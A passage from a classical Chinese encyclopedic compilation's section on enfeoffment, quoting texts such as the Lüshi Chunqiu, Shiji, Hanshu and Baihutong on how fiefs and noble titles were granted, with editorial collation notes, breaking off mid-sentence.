巻47","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/google-cn.info\/74009\/1\/%E6%B8%85%E6%B2%B3%E9%83%A1.html","date":"2021-12-03T05:55:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00376.warc.gz","language":"lzh","language_score":0.5639479756,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5639479756355286, \"cmn_Hani_score\": 0.29551252722740173, \"nan_Hani_score\": 0.13266290724277496}","num_words":334,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.036,"flagged_words_ratio":0.0,"lang_id_score":0.62,"perplexity_score":500.0,"cluster_detection":1} +{"text":"365体育平台富国基金张圣贤真假科技难辨三方面精选个股\n微子开卒,立其弟衍,是为微仲。微仲卒,子宋公稽立。宋公稽卒,子丁公申立。丁公申卒,子湣公共立。湣公共卒,弟炀\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n汉兴,接秦之弊,丈夫从军旅,老弱转粮饟,作业剧而财匮,自天子不能具钧驷,而将相或乘牛车,齐民无藏盖。於是为秦钱重难用,更令民铸钱,一黄金一斤,约法省禁。而不轨逐利之民,蓄积馀业以稽市物,物踊腾粜,米至石万钱,马一匹则百金。\n鲁共王馀,以孝景前二年用皇子为淮阳王。二年,吴楚反破後,以孝景前三年徙为鲁王。好治宫室苑囿狗马。季年好音,不喜辞辩。为人吃。\n子曰:\"吾十有五而志于学,三十而立,四十而不惑,五十而知天命,六十而耳顺,七十而从心所欲,不逾矩。\"","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/9s8oz.571mov.com\/WGKYS55951.html","date":"2020-02-28T04:58:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875147054.34\/warc\/CC-MAIN-20200228043124-20200228073124-00424.warc.gz","language":"lzh","language_score":0.5486291051,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.548629105091095, \"cmn_Hani_score\": 0.22749878466129303, \"nan_Hani_score\": 0.05588807910680771, \"zxx_Latn_score\": 0.028634725138545036, \"wuu_Hani_score\": 0.01816934533417225, \"und_Tang_score\": 0.013499227352440357, \"yue_Hani_score\": 0.012808546423912048}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.393,"perplexity_score":500.0,"cluster_detection":1} +{"text":"博盈线上娱乐侠客岛:离汉通道重启,但解封不等于解防\n别之河内,击赵将贲郝军朝歌,破之,所将卒得骑将二人,车马二百五十匹。从攻安阳以东,至棘蒲,下七县。别攻破赵军,得其将司马二人,候四人,降吏卒二千四百人。从攻下邯郸。别下平阳,身斩守相,所将卒斩兵守、郡守各一人,降鄴。从攻朝歌、邯郸,及别击破赵军,降邯郸郡六县。还军敖仓,破项籍军成皋南,击绝楚饟道,起荥阳至襄邑。破项冠军鲁下。略地东至缯、郯、下邳,南至蕲、竹邑。击项悍济阳下。还击项籍陈下,破之。别定江陵,降江陵柱国、大司马以下八人,身得江陵王,生致之雒阳,因定南郡。从至陈,取楚王信,剖符世世勿绝,定食四千六百户,号信武侯。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n秦御史监郡者与从事,常辨之。何乃给泗水卒史事,第一。秦御史欲入言徵何,何固请,得毋行。\n季康子患盗,问于孔子。孔子对曰:\"苟子之不欲,虽赏之不窃。\"\n燕土墝埆,北迫匈奴,其人民勇而少虑,故诫之","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/trgyr.zhyjtz.com\/krmnh\/802966.html","date":"2020-04-07T23:00:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371806302.78\/warc\/CC-MAIN-20200407214925-20200408005425-00097.warc.gz","language":"lzh","language_score":0.4102545679,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.410254567861557, \"cmn_Hani_score\": 0.3979285657405853, \"nan_Hani_score\": 0.056273918598890305, \"wuu_Hani_score\": 0.02492532506585121, \"yue_Hani_score\": 0.016331424936652184, \"zxx_Latn_score\": 0.015345737338066101}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.326,"perplexity_score":500.0,"cluster_detection":1} +{"text":"球探体育网李佳琦薇娅种草的新兴小家电会是下一片蓝海吗\n四年,坐侵庙壖垣为宫,上徵荣。荣行,祖\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之\n其後人有上书欲通襃斜道及漕事,下御史大夫张汤。汤问其事,因言:\"抵蜀从故道,故道多阪,回远。今穿襃斜道,少阪,近四百里;而襃水通沔,斜水通渭,皆可以行船漕。漕从南阳上沔入襃,襃之绝水至斜,间百馀里,以车转,从斜下下渭。如此,汉中之穀可致,山东从沔无限,便於砥柱之漕。且襃斜材木竹箭之饶,拟於巴蜀。\"天子以为然,拜汤子卬为汉中守,发数万人作襃斜道五百馀里。道果便近,而水湍石,不可漕。\n\"五事:一曰貌,二曰言,三曰视,四曰听,五曰思。貌曰恭,言曰从,视曰明,听曰聪,思曰睿。恭作肃,从作治,明作智,聪作谋,睿作圣。\n吕太后崩,大臣诛诸吕,辟阳侯於诸吕至深,而卒不诛。计画所以全者,皆陆生、平原君之力也。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/zmxsx.rentsourcekc.com\/applnspb\/6287126.html","date":"2020-04-05T00:30:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370526982.53\/warc\/CC-MAIN-20200404231315-20200405021315-00417.warc.gz","language":"lzh","language_score":0.4445740879,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4445740878582001, \"cmn_Hani_score\": 0.28942692279815674, \"nan_Hani_score\": 0.08976778388023376, \"zxx_Latn_score\": 0.024069691076874733, \"yue_Hani_score\": 0.020246421918272972, \"und_Xsux_score\": 0.014872662723064423, \"und_Tang_score\": 0.013369053602218628, \"wuu_Hani_score\": 0.012010252103209496}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.295,"perplexity_score":500.0,"cluster_detection":1} +{"text":"带子字的男孩名字大全\n点击:\n时间:2015-11-01\n魏庆伏\n带子字男孩取名\n简介:现在很多父母都想为自子涵(取自`子部京涵`寓意:拥有光明的前途与博大的胸怀)己的宝宝想一个好听又吉祥还有意义的好名字,但是想取一个逢竞舸好听的名字不容易。现在很多家长想为自己的宝宝取一个带子字的名字,但是始终不知道该从何处想起。现在各位朋友们,你们不用烦了,小编已经为你们收集了很多的关于子字可起名:(桐壮、桐烈、桐江)男孩宝宝的名字了,大家一起来看看吧!\n子字的姓名学含义\n繁体字:子?\n拼音:zi?\n部首:子?\n起名吉凶:吉?\n五行:水?\n姓名学解释:智勇双全,清雅荣贵,中年劳,晚年隆昌,女人温和贤淑。\n?\n子字起名建议\n1、子字的五行属性为水,假如男宝宝的生辰八字喜用神五行为水,那么可以用\"子\"字来起名毕富庚。这样不仅能起到帮扶命理的作用,还能化解姓名里一些凶恶数理的喻意暗示。\n2、子字男孩起名常用于双名字。起双名字时,一般都放在中间,极少数人放在最后。例如杨子。\n3、子字开头的男孩名字的字词音韵搭配要合理,子字为仄声,最好寻找平声的字相搭配,也就是选择发音为第一声或者第二声的字。\n4、另外也要注意名字是否有不雅的谐音或者歧义,否则容易给他人带来误导之余还容易给孩子的一生带来不同程度的影响。\n?\n子字开头的男孩名字\n子龙 子豪 子明 子健 子文 子良 公历:2019年2月4日(星期一)子强?\n子建 子华 子平 子杰 子超 子荣 子军?\n子林 子峰 子阳 子涵 子君 子亮 子祥?\n子刚 子轩 子恒 子伟 子敬 子剑 子成\n子斌 子清 子奇 子洋 子云 子辉 子玉?\n子扬 子俊 子昂 子谦 子东 子雄 子春 伟奇(伟大、神奇);\n子瑜 子民 子毅 子鹏 子勇 子铭 子浩?\n子威 子涛 子翔 子元 子义 子彬 子辰?\n子安 佘荣景子贤 子博 子忠 子兴 子聪 子光?\n子航 子飞 子睿 子琦 子兵 子宏 子正\n子海 子英 子欣 子宁 子鑫 子凯 子波 晋雪音;\n子新 子贵 子瑞 子武 子彦 子钧 子山?\n子立 子丰 子坤 子卿 子旭 子全 子坚?\n子源 子楠 子富 子胜 木子 子川 子庆?\n子凡 面对着取名字这么高深的学问,作为父母,或许不需要精通,但却一定要略知一二,因为当你拥有自己的孩子的时候,你爱露铭就会知道一个好名字能够带给你的孩子多大的好运,它能够陪伴着你的孩子,一步一步的成才。关于今天所说的2019年4月7号出生的男宝宝如何取名字,五行缺什么就先说到这里了。子达 子乐 子力 子敏 子越 子渊?\n子腾 子仪 子康 子钦 子秋 子尧 子佳\n子栋 郎俞达子厚 子国 子顺 子青 子红 子金?\n属相与姓氏也是密不可分的,而且跟每个人出生姚琪妙的生辰八字息息相关。整体来看,适合在鸡年出生的姓氏是: 子锋 子晨 子皓 子墨 子和 子路 子琪?\n子鸿 子宇 子伦 子利 子寅 子丹 子钰?\n子洲 子才 子杨 子木 子福 子程 子乾?\n子洪 子麟 子仁 子维 子然 子煜 子昱\n?\n子字开头的名字\n子虎 子琛 子寒 子骏 子田 子诚 子钊?\n子恺 子宽 子中 子政 子臣 子淳 子逸?\n子德 子生 子勤 子冬 子松 子悦 子星?\n子鸣 子旺 子信 子行 子凌 子男 子怡\n子昌 子夏 子宸 子银 子昭 子群 子键?\n子磊 子彪 甲子 子友 子森 子炎 子学?\n子慧 子方 子懿 子韬 子贺 子发 子弘?\n子柱 子卫 子夜 子牛 子言 子余 子滨?\n子嘉 子喜 子岩 子帅 子标 子泉 子猛?\n子跃 子科 子升 子惠 子亚 子乔 子梅\n子广 子书 子芸 子盛 子远 子介 子瑛?\n子河 子雷 子财 子愚 子岭 子宜 子骄?\n子志 子印 子园 子硕 子其 子烨 子静?\n子初 子朝 子君 子奕 子益 子奎 子琼?\n子昆 子房 子城 亚子 子灏 子九 子靖?\n子晔 子晟 光子 子年 子易 子勋 子晨\n子能 子吟 子午 子满 子轶 子叶 子祺?\n子曦 子权 子善 子章 子炜 子高 子隽?\n子儒 子晋 子岳 子润 子枫 子亭 子羽?\n子衡 子颖 子游 子南 子燕 子珩 子夫?\n子瑶 子泽 子甲 子智 子实 子运 子同?\n子仲 子茂 子震 子哲 子业 子朋 子桥?\n子圣 子熙 子香 子裕 三子 子都 子恒\n太叔小淞\n子童 子如 子添 子柳 子铉 子雨 子峥?\n子欢 子煊 子美 子迅 子恩 子伯 子永?\n标签:男孩名字大全带子","id":"","dump":"CC-MAIN-2021-17","url":"http:\/\/www.ssyule.com\/nanhaiquming\/549761.html","date":"2021-04-14T20:35:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038078021.18\/warc\/CC-MAIN-20210414185709-20210414215709-00351.warc.gz","language":"lzh","language_score":0.8192387223,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8192387223243713, \"nan_Hani_score\": 0.11746740341186523, \"cmn_Hani_score\": 0.054391808807849884}","num_words":347,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.28,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.847,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n田霭奕 田艾岚 田安安 田安果 田安康 田安琪 田安祺 田安然 田安迅 田昂峰 田媪睿 田傲睿 田傲翔 田奥聪 田坝迪 田百迪 田百秋 田百荣 田百万 田佰海 田佰宏 田柏睿 田柏源 田宝宝 田宝昌 田宝杰 田宝库 田宝良 田宝龙 田宝民 田宝妮 田宝宁 田宝芹 田宝庆 田宝全 田宝瑞 田宝睿 田宝山 田宝升 田宝香 田保恩 田保国 田保金 田堡迪 田碑宏 田贝尔 田贝佳 田贝妮 田贝宁 田倍宁 田奔宏 田本宏 田弼宏 田璧凤 田宾松 田彬彬 田彬丁 田彬木 田彬松 田彬言 田彬永 田彬宇 田斌奥 田滨卫 田冰娣 田冰素 田丙佰 田丙程 田丙塍 田丙迪 田丙趸 田丙罡 田丙亘 田丙光 田丙海 田丙匠 田丙立 田丙伦 田丙轮 田丙稔 田丙十 田丙仝 田丙绎 田丙郓 田丙钊 田秉晁 田炳臣 田波涛 田伯光 田伯湘 田伯言 田伯洋 田铂浩 田博成 田博闻 田博旭 田博雅 田卜民 田卜旺 田卜元 田不凡 田才杨 田才园 田财迪 田彩果 田彩羽 田差迪 田昌冰 田昌纯 田昌民 田昌南 田昌水 田昌勇 田昌友 田昌臻 田长海 田长顺 田长松 田长喜 田长鲜 田长彦 田常青 田常荣 田常原 田常圆 田焯艺 田超前 田超群 田超然 田超勇 田超宇 田朝晖 田臣风 田辰岢 田辰攸 田辰臻 田宸翡 田宸境 田宸鸣 田宸溪 田宸子 田晨晨 田晨丞 田晨铖 田晨酲 田晨池 田晨时 田晨曦 田晨欣 田晨鑫 田晨言 田晨佑 田丞越 田丞志 田成平 田成珍 田承冰 田承臣 田承卿 田诚宏 田城西 田程翰 田程辉 田澄澄 田澄橙 田橙橙 田池非 田池睿 田驰遥 田茌睿 田持睿 田崇崇 田崇熹 田储华 田楚彤 田楚豫 田川枫 田川野 田春光 田春海 田春杰 田春来 田春雷 田春林 田春敏 田春溶 田春香 田春祥 田春霄 田春仪 田春永 田春勇 田春宇 田春雨 田椿灏 田椿楠 田椿宇 田椿雨 田纯宇 田从崇 田琮杰 田琮界 田翠兰 田翠荣 田存良 田存优 田大宝 田大雷 田大明 田大培 田大肉 田大帅 田大伟 田大泳 田大勇 田大雨 田大禹 田大志 田丹碧 田丹婕 田丹倪 田丹蕊 田丹语 田道彬 田得熙 田德彪 田德富 田德清 田德雄 田德瑜 田登科 田登魁 田迪博 田迪超 田迪迪 田迪斐 田迪翔 田迪云 田电杰 田丁丘 田丁瑞 田定佳 田定嘉 田东昊 田东浩 田东来 田东良 田东梁 田东亮 田东谅 田东明 田东瑞 田东睿 田东涛 田东鑫 田东芝 田冬雷 田冬珉 田冬乓 田栋珲 田栋梁 田豆豆 田多多 田多武 田朵朵 田恩霁 田恩熙 田尔东 田二波 田二多 田二牛 田二曲 田发苗 田凡昭 田方蕾 田方友 田方远 田芳卉 田芳菁 田芳坤 田芳蕾 田芳麦 田芳仪 田芳有 田飞扬 田飞云 田菲菲 田菲涵 田粉珍 田丰华 田丰江 田丰铭 田丰年 田丰硕 田丰源 田风芹 田枫宏 田枫贤 田峰翠 田峰琦 田峰绮 田峰驿 田峰源 田冯嘉 田凤池 田凤兰 田凤芹 田凤山 田凤仙 田凤贤 田凤芝 田佛宏 田福宏 田福强 田福新 田福兴 田福钟 田富民 田富强 田富升 田富宇 田赋成 田赋宏 田馥畅 田馥榕 田馥甄 田丐宏 田淦木 田淦树 田钢朋 田高华 田戈宏 田格尔 田葛亮 田根宏 田庚亚 田耕牛 田弓宏 田功宏 田恭福 田恭宏 田恭熙 田恭喜 田谷宏 田顾宏 田冠华 田光辉 田光明 田光荣 田光育 田广川 田广和 田广华 田广科 田广明 田归龙 田归农 田归黍 田归蜀 田归庶 田归粟 田贵波 田贵驰 田贵福 田贵富 田贵根 田贵汇 田贵礼 田贵利 田贵禄 田贵其 田贵琦 田贵琪 田贵仁 田贵笙 田贵水 田贵泰 田贵希 田贵熙 田贵鑫 田贵宇 田贵禹 田贵运 田贵正 田桂金 田桂进 田桂兰 田桂林 田桂农 田桂平 田桂如 田桂羽 田桂瑗 田桂臻 田桂芝 田桂竹 田国邦 田国宾 田国彬 田国斌 田国滨 田国波 田国菠 田国成 田国栋 田国峰 田国锋 田国宏 田国华 田国辉 田国际 田国军 田国力 田国立 田国民 田国平 田国锐 田国盛 田果锋 田果果 田果越 田哈娃 田海滨 田海琛 田海琛 田海成 田海春 田海东 田海飞 田海峰 田海锋 田海锋 田海弘 田海卉 田海加 田海久 田海砾 田海连 田海龙 田海民 田海荣 田海溶 田海柔 田海顺 田海同 田海桐 田海童 田海伟 田海洋 田海妤 田海云 田海哲 田函宏 田函宇 田晗妙 田涵菲 田涵涵 田涵齐 田涵旭 田翰炫 田杭素 田航光 田航维 田毫男 田豪康 田好迪 田好哲 田昊宸 田昊承 田昊非 田昊海 田昊宏 田昊佳 田昊明 田昊男 田昊天 田昊辛 田昊阳 田昊哲 田昊中 田浩瀚 田浩弘 田浩晖 田浩俊 田浩竣 田浩琨 田浩明 田浩男 田浩然 田浩杉 田浩洋 田浩艺 田浩垣 田浩哲 田皓辉 田皓纶 田皓铭 田皓人 田皓仁 田皓天 田皓玮 田皓哲 田合强 田合爽 田和平 田贺翔 田赫睿 田恒仁 田恒瑞 田恒瑜 田恒哲 田弘立 田弘明 田弘宣 田红成 田红靖 田红升 田红涛 田红伟 田红卫 田红武 田红星 田红叶 田红月 田红珍 田宏杰 田宏脉 田宏伟 田宏业 田泓昕 田泓欣 田洪碧 田洪波 田洪军 田洪君 田洪钧 田洪磊 田洪良 田洪名 田洪明","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-y1-149-3.html","date":"2021-09-21T11:33:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00592.warc.gz","language":"lzh","language_score":0.9875736833,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9875736832618713}","num_words":542,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.988,"perplexity_score":500.0,"cluster_detection":1} +{"text":"莫代 351萬字 5人讀過 全本\n惟高唐之大體兮,殊無物類之可儀比。巫山赫其無疇兮,道互折而曾累。登巉巗而下望兮,臨大阺之稸水。遇天雨之新霽兮,觀百谷之俱集。濞洶洶其無聲兮,潰淡淡而并入。滂洋洋而四施兮,蓊湛湛而弗上。長風至而波起兮,若麗山之孤畝。勢薄岸而相擊兮,隘交引而卻會。崪中怒而特高兮,若浮海而望碣石。礫磥磥而相摩兮,巆震天之礚礚。巨石溺溺之瀺灂兮,沫潼潼而高厲,水澹澹而盤紆兮,洪波淫淫之溶?。奔揚踴而相擊兮,云興聲之霈霈。猛獸驚而跳駭兮,妄奔走而馳邁?;⒈蛸?,失氣恐喙;雕鶚鷹鷂,飛揚伏竄。股戰脅息,安敢妄摯。于是水蟲盡暴,乘渚之陽,黿鼉鱣鮪,交積縱橫。振鱗奮翼,蜲蜲蜿蜿。\n最新章節:第29章 我的天師老婆\n更新時間:5個月前","id":"","dump":"CC-MAIN-2021-49","url":"http:\/\/www.in-vis-ible.com\/ebook\/56761.html","date":"2021-12-03T12:34:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362879.45\/warc\/CC-MAIN-20211203121459-20211203151459-00038.warc.gz","language":"lzh","language_score":0.4278199971,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.42781999707221985, \"zxx_Latn_score\": 0.0958249419927597, \"cmn_Hani_score\": 0.08151628077030182, \"nan_Hani_score\": 0.04208042472600937, \"und_Tang_score\": 0.0377984419465065, \"yue_Hani_score\": 0.024596359580755234, \"und_Xsux_score\": 0.020871758460998535, \"und_Sgnw_score\": 0.02014472521841526, \"jpn_Jpan_score\": 0.01825304701924324, \"und_Bamu_score\": 0.015217634849250317, \"und_Cyrl_score\": 0.014425558038055897, \"und_Yiii_score\": 0.014207220636308193, \"und_Hira_score\": 0.013377184048295021, \"und_Grek_score\": 0.012414367869496346, \"und_Cans_score\": 0.011717408895492554}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.461,"perplexity_score":500.0,"cluster_detection":1} +{"text":"更新时间:2024-02-06 12:47:27 来源:大家找算命网 作者:小幸运\n封昊天 封彤彤 封俊驰 封天德 封鼎哲 封知智 封晋哲 封哲南 封晋理 封丰瞻 封龙德 封晋拓 封智天\n封光耀 封俊泰 封德灿 封昊天 封晋阳 封致泰 封展畅 封智龙 封晋泰 封俊畅 封晋龙 封展照 封德宝\n封展龙 封智翎 封昊龙 封德忠 封达知 封凌冬 封哲瑾 封俊龙 封知彰 封俊利 封泰耀 封德传 封智图\n封德遥 封伦哲 封鼎翎 封达志 封进德 封智泰 封俊庭 封德烟 封鼎拓 封传德 封德道 封德哲 封志南\n封哲俊 封智畅 封晋图 封鼎天 封智遥 封全智 封天伦 封哲龙 封晋宁 封俊彤 封展天 封俊德 封至德\n封昊哲 封鼎璋 封彤德 封智彤 封泰龙 封志德 封晋德 封道哲 封鼎伦 封智哲 封俊哲 封志天 封德畅\n封智俊 封智伦 封畅德 封晋知 封志晋 封晋智 封路遥 封晋尘 封道振 封鼎庭 封哲伦 封德龙 封晋璋\n封彤彤 封俊图 封鼎遥 封晋畅 封晋庭 封乐天 封鼎烟 封鼎阳 封鼎智 封俊宝\n起名带有五行属火的三个字名字,是指除了姓氏以外,您起的名字是五行属火的汉字。是需要起名的宝宝生辰八字喜神是火,才会起带有火属性的名字。\n姓氏起源:\n源于姜姓,出自炎帝的后裔钜之后代的封地,属于以封邑名称为氏。\n源于芈姓,出自春秋时期楚国大夫穿封戌,属于以先祖名号为氏。\n源于鲜卑族,出自南北朝时期鲜卑拓拔部是贲氏部落,属于汉化改姓为氏。","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.dajiazhao.com\/xingming\/nansgzmz\/56641.html","date":"2024-03-03T05:56:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947476205.65\/warc\/CC-MAIN-20240303043351-20240303073351-00612.warc.gz","language":"lzh","language_score":0.5666199327,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5666199326515198, \"cmn_Hani_score\": 0.39587315917015076, \"nan_Hani_score\": 0.017426583915948868, \"yue_Hani_score\": 0.015403639525175095}","num_words":109,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.684,"perplexity_score":500.0,"cluster_detection":1} diff --git a/lzh_Hani/fineweb-2_000001_remove.jsonl b/lzh_Hani/fineweb-2_000001_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..b5e482e12702a7c860867ba3bb93695a1687401a --- /dev/null +++ b/lzh_Hani/fineweb-2_000001_remove.jsonl @@ -0,0 +1,110 @@ +{"text":"封 爵 部 总\n载 封 爵 亲 戚 封 功 臣 封 逊 让 封 外 戚 封 妇 人 封\n尊 贤 继 绝 封\n吕 氏 春 秋 曰 . 太 公 望 封 于 齐 . 周 公 旦 封 于 鲁 . 二 君 者 甚 相 善 也 . 相 谓 曰 . 何 以 治 国 . 太 公 望 曰 . 尊 贤 上 功 . 周 公 曰 . 亲 亲 上 恩 . 太 公 曰 . 鲁 自 此 削 矣 . 周 公 曰 . 鲁 虽 削 . 有 齐 者 亦 必 非 吕 氏 也 . 其 后 齐 日 以 大 . 至 于 霸 . 二 十 四 世 而 田 氏 有 齐 国 . 鲁 日 以 削 . 至 于 仅 . 四 十 四 世 亡 .\n史 记 曰 . 殷 以 前 尚 矣 . 周 封 五 等 . 公 侯 伯 子 男 . 然 封 伯 禽 康 叔 于 鲁 卫 . 地 各 四 百 . 亲 亲 之 义 . 褒 有 德 也 . 太 公 兼 五 侯 地 . 尊 勤 劳 也 . 武 王 成 康 . 所 封 数 百 . 而 同 姓 五 十 . 地 土 ○ 太 平 御 览 一 百 九 十 八 作 上 . 不 过 百 里 . 下 三 十 . 以 辅 卫 王 室 .\n又 曰 . 驺 忌 见 威 王 . 王 说 之 . 三 月 而 受 相 印 . 淳 于 髡 见 之 曰 . 善 说 . 既 有 愚 志 . 愿 陈 诸 前 . 髡 说 毕 . 趋 出 . 至 门 而 面 其 仆 曰 . 是 人 者 . 吾 语 之 征 ○ 太 平 御 览 一 百 九 十 八 作 微 . 言 五 . 其 应 我 若 响 之 应 声 . 是 必 封 不 久 矣 .\n汉 书 曰 . 李 广 与 望 气 王 朔 语 曰 . 汉 击 匈 奴 . 广 未 尝 不 在 其 中 . 而 诸 妄 校 尉 已 下 . 材 能 不 及 中 人 . 以 军 功 取 侯 者 数 十 人 . 广 不 为 后 人 . 然 终 无 尺 寸 功 以 得 封 邑 者 . 何 也 . 岂 吾 相 不 当 侯 耶 . 朔 曰 . 将 军 自 念 . 岂 尝 有 所 恨 者 乎 . 广 曰 . 吾 为 陇 西 太 守 . 羌 尝 反 . 吾 诱 降 八 百 余 人 . 诈 而 同 日 杀 之 . 至 今 恨 独 此 尔 . 朔 曰 . 祸 莫 大 杀 已 降 . 此 乃 将 军 所 以 不 得 侯 也 .\n汉 杂 事 曰 . 天 子 太 社 . 以 五 色 为 坛 . 封 诸 侯 者 . 取 其 土 . 苴 以 白 茅 . 授 之 . 各 以 所 封 方 之 色 . 以 立 社 于 其 国 . 故 谓 之 受 茅 土 . 汉 兴 . 唯 皇 子 封 为 王 者 得 茅 土 . 其 他 臣 . 以 户 赋 租 入 为 节 . 不 受 茅 土 . 不 立 社 .\n东 观 汉 记 曰 . 上 封 功 臣 . 皆 为 列 侯 . 大 国 四 县 . ○ 原 讹 丝 . 据 冯 校 本 改 . 余 各 有 差 . 博 士 丁 恭 等 议 . 古 帝 王 封 诸 侯 . 不 过 百 里 . 故 利 以 建 侯 . 取 法 于 雷 . 上 曰 . 古 之 亡 国 . 皆 以 无 道 . 未 尝 封 功 臣 地 多 而 灭 者 也 . 乃 遣 谒 者 . 即 授 印 绶 .\n又 曰 . 冯 勤 使 典 诸 侯 封 事 . 勤 差 量 功 次 轻 重 . 国 土 远 近 . 地 势 丰 王 . 不 相 逾 越 . 莫 不 猒 服 焉 . 自 是 封 爵 之 制 . 非 勤 不 定\n白 虎 通 曰 . 受 命 之 王 . 致 太 平 之 美 . 群 臣 上 下 之 功 . 故 尽 封 之 . 及 中 兴 征 伐 . 大 功 皆 封 . 盛 德 之 士 亦 封 之 . 以 德 封 者 . 必 试 之 为 附 庸 . 三 年 有 功 . 因 而 封 之 五 十 里 . 元 士 有 功 者 . 亦 为 附 庸 也 . 其 位 大 夫 有 功 . 成 封 五 十 里 . 卿 成 封 七 十 里 . 公 成 封 百 里 .\n又 曰 . 王 者 即 位 . 先 封 贤 者 . 忧 民 之 急 也 . 故 列 土 分 疆 . 非 为 诸 侯 . 张 官 设 府 . 非 为 卿 大 夫 . 皆 为 民 也 .\n盐 铁 论 曰 . 昔 太 公 封 营 丘 之 墟 . 辟 草 莱 而 居 焉 . 地 薄 人 少 . 于 是 通 利 末 之 道 . 极 女 工 之 功 . 